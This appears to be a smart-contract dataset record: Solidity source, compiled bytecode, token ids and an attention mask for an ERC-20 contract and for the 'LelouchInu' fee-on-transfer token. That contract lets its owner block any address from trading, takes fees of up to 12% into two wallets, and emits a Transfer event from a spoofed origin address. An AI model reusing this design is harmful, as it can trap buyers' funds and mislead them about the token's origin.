tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806395d89b411161008c578063b5931f7c11610066578063b5931f7c1461044b578063d05c78da14610497578063dd62ed3e146104e3578063e6cb90131461055b576100ea565b806395d89b4114610316578063a293d1e814610399578063a9059cbb146103e5576100ea565b806323b872dd116100c857806323b872dd146101f6578063313ce5671461027c5780633eaaf86b146102a057806370a08231146102be576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f76105a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610645565b604051808215151515815260200191505060405180910390f35b6101e0610737565b6040518082815260200191505060405180910390f35b6102626004803603606081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610782565b604051808215151515815260200191505060405180910390f35b610284610a12565b604051808260ff1660ff16815260200191505060405180910390f35b6102a8610a25565b6040518082815260200191505060405180910390f35b610300600480360360208110156102d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a2b565b6040518082815260200191505060405180910390f35b61031e610a74565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035e578082015181840152602081019050610343565b50505050905090810190601f16801561038b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103cf600480360360408110156103af57600080fd5b810190808035906020019092919080359060200190929190505050610b12565b6040518082815260200191505060405180910390f35b610431600480360360408110156103fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b2e565b604051808215151515815260200191505060405180910390f35b6104816004803603604081101561046157600080fd5b810190808035906020019092919080359060200190929190505050610cb7565b6040518082815260200191505060405180910390f35b6104cd600480360360408110156104ad57600080fd5b810190808035906020019092919080359060200190929190505050610cdb565b6040518082815260200191505060405180910390f35b610545600480360360408110156104f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d0c565b6040518082815260200191505060405180910390f35b6105916004803603604081101561057157600080fd5b810190808035906020019092919080359060200190929190505050610d93565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561063d5780601f106106125761010080835404028352916020019161063d565b820191906000526020600020905b81548152906001019060200180831161062057829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b60006107cd600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610896600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095f600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d93565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b0a5780601f10610adf57610100808354040283529160200191610b0a565b820191906000526020600020905b815481529060010190602001808311610aed57829003601f168201915b505050505081565b6000828211151515610b2357600080fd5b818303905092915050565b6000610b79600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c05600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d93565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082111515610cc757600080fd5b8183811515610cd257fe5b04905092915050565b600081830290506000831480610cfb5750818382811515610cf857fe5b04145b1515610d0657600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183019050828110151515610da957600080fd5b9291505056fea165627a7a723058209dd256d97c5f84804a81d9045aa3ff0b9d9d896df5dc01f9ae27e6063b512c3a0029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2063, 2581, 2683, 2581, 2546, 2581, 2546, 3207, 2683, 3540, 2581, 2620, 2620, 2497, 28154, 2683, 14141, 2094, 19841, 19961, 2546, 2620, 2546, 2620, 2683, 2546, 2475, 2278, 17465, 2581, 2050, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 1013, 1013, 1013, 1013, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1013, 1013, 1013, 1035, 1035, 1064, 1035, 1035, 1035, 1013, 1035, 1064, 1035, 1035, 1035, 1064, 1035, 1035, 1064, 1035, 1035, 1035, 1035, 1035, 1035, 1064, 1064, 1035, 1035, 1035, 1013, 1013, 1032, 1035, 1035, 1032, 1013, 1035, 1036, 1064, 1064, 1035, 1064, 1013, 1011, 1035, 1007, 1064, 1064, 1013, 1011, 1035, 1007, 1006, 1035, 1011, 1026, 1064, 1064, 1013, 1035, 1036, 1064, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,508
0x96e7a89978f60501d42c9dd0ea8f794b99cef4dd
/* Telegram: https://t.me/LelouchInu */ pragma solidity ^0.8.3; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract LelouchInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "LelouchInu"; string private constant _symbol = "LELOUCH"; uint8 private constant _decimals = 18; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable addr1, address payable addr2) { _FeeAddress = addr1; _marketingWalletAddress = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_FeeAddress] = true; _isExcludedFromFee[_marketingWalletAddress] = true; emit Transfer(address(0x929242B1Eb71b05Ce9319fa902983Dce3c0383E1), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 1; _teamFee = 9; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 2; _teamFee = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102f7578063c3c8cd8014610317578063c9567bf91461032c578063d543dbeb14610341578063dd62ed3e1461036157600080fd5b8063715018a61461026a5780638da5cb5b1461027f57806395d89b41146102a7578063a9059cbb146102d757600080fd5b8063273123b7116100dc578063273123b7146101d7578063313ce567146101f95780635932ead1146102155780636fc3eaec1461023557806370a082311461024a57600080fd5b806306fdde0314610119578063095ea7b31461015e57806318160ddd1461018e57806323b872dd146101b757600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600a8152694c656c6f756368496e7560b01b60208201525b604051610155919061197d565b60405180910390f35b34801561016a57600080fd5b5061017e610179366004611804565b6103a7565b6040519015158152602001610155565b34801561019a57600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610155565b3480156101c357600080fd5b5061017e6101d23660046117c3565b6103be565b3480156101e357600080fd5b506101f76101f2366004611750565b610427565b005b34801561020557600080fd5b5060405160128152602001610155565b34801561022157600080fd5b506101f76102303660046118fc565b61047b565b34801561024157600080fd5b506101f76104c3565b34801561025657600080fd5b506101a9610265366004611750565b6104f0565b34801561027657600080fd5b506101f7610512565b34801561028b57600080fd5b506000546040516001600160a01b039091168152602001610155565b3480156102b357600080fd5b506040805180820190915260078152660988a989eaa86960cb1b6020820152610148565b3480156102e357600080fd5b5061017e6102f2366004611804565b610586565b34801561030357600080fd5b506101f7610312366004611830565b610593565b34801561032357600080fd5b506101f7610629565b34801561033857600080fd5b506101f761065f565b34801561034d57600080fd5b506101f761035c366004611936565b610a28565b34801561036d57600080fd5b506101a961037c36600461178a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103b4338484610afe565b5060015b92915050565b60006103cb848484610c22565b61041d843361041885604051806060016040528060288152602001611b69602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fbc565b610afe565b5060019392505050565b6000546001600160a01b0316331461045a5760405162461bcd60e51b8152600401610451906119d2565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104a55760405162461bcd60e51b8152600401610451906119d2565b60118054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b0316146104e357600080fd5b476104ed81610ff6565b50565b6001600160a01b0381166000908152600260205260408120546103b89061107b565b6000546001600160a01b0316331461053c5760405162461bcd60e51b8152600401610451906119d2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103b4338484610c22565b6000546001600160a01b031633146105bd5760405162461bcd60e51b8152600401610451906119d2565b60005b8151811015610625576001600660008484815181106105e1576105e1611b19565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061061d81611ae8565b9150506105c0565b5050565b600e546001600160a01b0316336001600160a01b03161461064957600080fd5b6000610654306104f0565b90506104ed816110ff565b6000546001600160a01b031633146106895760405162461bcd60e51b8152600401610451906119d2565b601154600160a01b900460ff16156106e35760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610451565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561072330826b033b2e3c9fd0803ce8000000610afe565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561075c57600080fd5b505afa158015610770573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610794919061176d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107dc57600080fd5b505afa1580156107f0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610814919061176d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561085c57600080fd5b505af1158015610870573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610894919061176d565b601180546001600160a01b0319166001600160a01b039283161790556010541663f305d71947306108c4816104f0565b6000806108d96000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561093c57600080fd5b505af1158015610950573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610975919061194f565b5050601180546a52b7d2dcc80cd2e400000060125563ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109f057600080fd5b505af1158015610a04573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106259190611919565b6000546001600160a01b03163314610a525760405162461bcd60e51b8152600401610451906119d2565b60008111610aa25760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610451565b610ac36064610abd6b033b2e3c9fd0803ce800000084611288565b90611307565b60128190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b605760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610451565b6001600160a01b038216610bc15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610451565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c865760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610451565b6001600160a01b038216610ce85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610451565b60008111610d4a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610451565b6001600a556009600b556000546001600160a01b03848116911614801590610d8057506000546001600160a01b03838116911614155b15610f5f576001600160a01b03831660009081526006602052604090205460ff16158015610dc757506001600160a01b03821660009081526006602052604090205460ff16155b610dd057600080fd5b6011546001600160a01b038481169116148015610dfb57506010546001600160a01b03838116911614155b8015610e2057506001600160a01b03821660009081526005602052604090205460ff16155b8015610e355750601154600160b81b900460ff165b15610e9257601254811115610e4957600080fd5b6001600160a01b0382166000908152600760205260409020544211610e6d57600080fd5b610e7842601e611a78565b6001600160a01b0383166000908152600760205260409020555b6011546001600160a01b038381169116148015610ebd57506010546001600160a01b03848116911614155b8015610ee257506001600160a01b03831660009081526005602052604090205460ff16155b15610ef2576002600a908155600b555b6000610efd306104f0565b601154909150600160a81b900460ff16158015610f2857506011546001600160a01b03858116911614155b8015610f3d5750601154600160b01b900460ff165b15610f5d57610f4b816110ff565b478015610f5b57610f5b47610ff6565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610fa157506001600160a01b03831660009081526005602052604090205460ff165b15610faa575060005b610fb684848484611349565b50505050565b60008184841115610fe05760405162461bcd60e51b8152600401610451919061197d565b506000610fed8486611ad1565b95945050505050565b600e546001600160a01b03166108fc611010836002611307565b6040518115909202916000818181858888f19350505050158015611038573d6000803e3d6000fd5b50600f546001600160a01b03166108fc611053836002611307565b6040518115909202916000818181858888f19350505050158015610625573d6000803e3d6000fd5b60006008548211156110e25760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610451565b60006110ec611377565b90506110f88382611307565b9392505050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061114757611147611b19565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561119b57600080fd5b505afa1580156111af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111d3919061176d565b816001815181106111e6576111e6611b19565b6001600160a01b03928316602091820292909201015260105461120c9130911684610afe565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790611245908590600090869030904290600401611a07565b600060405180830381600087803b15801561125f57600080fd5b505af1158015611273573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b600082611297575060006103b8565b60006112a38385611ab2565b9050826112b08583611a90565b146110f85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610451565b60006110f883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061139a565b80611356576113566113c8565b6113618484846113f6565b80610fb657610fb6600c54600a55600d54600b55565b60008060006113846114ed565b90925090506113938282611307565b9250505090565b600081836113bb5760405162461bcd60e51b8152600401610451919061197d565b506000610fed8486611a90565b600a541580156113d85750600b54155b156113df57565b600a8054600c55600b8054600d5560009182905555565b60008060008060008061140887611535565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061143a9087611592565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461146990866115d4565b6001600160a01b03891660009081526002602052604090205561148b81611633565b611495848361167d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114da91815260200190565b60405180910390a3505050505050505050565b60085460009081906b033b2e3c9fd0803ce800000061150c8282611307565b82101561152c575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006115528a600a54600b546116a1565b9250925092506000611562611377565b905060008060006115758e8787876116f0565b919e509c509a509598509396509194505050505091939550919395565b60006110f883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fbc565b6000806115e18385611a78565b9050838110156110f85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610451565b600061163d611377565b9050600061164b8383611288565b3060009081526002602052604090205490915061166890826115d4565b30600090815260026020526040902055505050565b60085461168a9083611592565b60085560095461169a90826115d4565b6009555050565b60008080806116b56064610abd8989611288565b905060006116c86064610abd8a89611288565b905060006116e0826116da8b86611592565b90611592565b9992985090965090945050505050565b60008080806116ff8886611288565b9050600061170d8887611288565b9050600061171b8888611288565b9050600061172d826116da8686611592565b939b939a50919850919650505050505050565b803561174b81611b45565b919050565b60006020828403121561176257600080fd5b81356110f881611b45565b60006020828403121561177f57600080fd5b81516110f881611b45565b6000806040838503121561179d57600080fd5b82356117a881611b45565b915060208301356117b881611b45565b809150509250929050565b6000806000606084860312156117d857600080fd5b83356117e381611b45565b925060208401356117f381611b45565b929592945050506040919091013590565b6000806040838503121561181757600080fd5b823561182281611b45565b946020939093013593505050565b6000602080838503121561184357600080fd5b823567ffffffffffffffff8082111561185b57600080fd5b818501915085601f83011261186f57600080fd5b81358181111561188157611881611b2f565b8060051b604051601f19603f830116810181811085821117156118a6576118a6611b2f565b604052828152858101935084860182860187018a10156118c557600080fd5b600095505b838610156118ef576118db81611740565b8552600195909501949386019386016118ca565b5098975050505050505050565b60006020828403121561190e57600080fd5b81356110f8